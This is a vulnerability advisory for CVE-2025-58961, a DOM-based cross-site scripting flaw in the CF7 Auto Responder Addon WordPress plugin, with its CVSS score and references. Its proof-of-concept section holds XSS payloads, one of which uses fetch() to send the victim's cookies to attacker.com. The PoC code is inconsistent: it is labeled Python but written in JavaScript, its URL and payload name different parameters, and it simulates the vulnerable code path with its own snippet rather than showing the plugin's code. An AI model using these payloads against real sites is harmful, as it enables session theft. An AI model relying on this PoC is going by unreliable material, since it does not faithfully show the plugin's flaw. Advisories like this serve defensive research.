CVE-2025-58961

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in kamleshyadav CF7 Auto Responder Addon CF7-autoresponder-addon allows DOM-Based XSS.This issue affects CF7 Auto Responder Addon: from n/a through <= 2.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CF7 Auto Responder Addon <= 2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-58961 DOM-based XSS PoC // Target: CF7 Auto Responder Addon plugin <= 2.4 // Malicious URL that triggers the XSS const maliciousUrl = 'http://target-site.com/contact-page/?name=<script>alert(document.cookie)</script>'; // PoC: Construct the attack payload const attackPayload = { description: 'DOM-based XSS via name parameter', method: 'GET', target: '/contact-page/', parameters: { // The vulnerable parameter that gets reflected in DOM without sanitization 'your-name': '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', 'your-email': '[email protected]', 'your-message': 'Test message' }, expectedBehavior: 'JavaScript code execution in victim\'s browser context' }; console.log('CVE-2025-58961 PoC'); console.log('Target:', attackPayload.target); console.log('Payload:', attackPayload.parameters['your-name']); // HTML PoC page const pocHtml = ` <!DOCTYPE html> <html> <head><title>CVE-2025-58961 PoC</title></head> <body> <h1>DOM-based XSS in CF7 Auto Responder Addon</h1> <p>Click the link below to test:</p> <a href="${maliciousUrl}">Click me</a> <script> // Simulate the vulnerable code path const params = new URLSearchParams(window.location.search); const name = params.get('name'); // Vulnerable: directly inserting user input into DOM document.write('<div>' + name + '</div>'); </script> </body> </html> `;

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58961
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58961
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58961/
[4] VulDB https://vuldb.com/cve/CVE-2025-58961
[5] https://patchstack.com/database/Wordpress/Plugin/CF7-autoresponder-addon/vulnerability/wordpress-cf7-auto-responder-addon-plugin-2-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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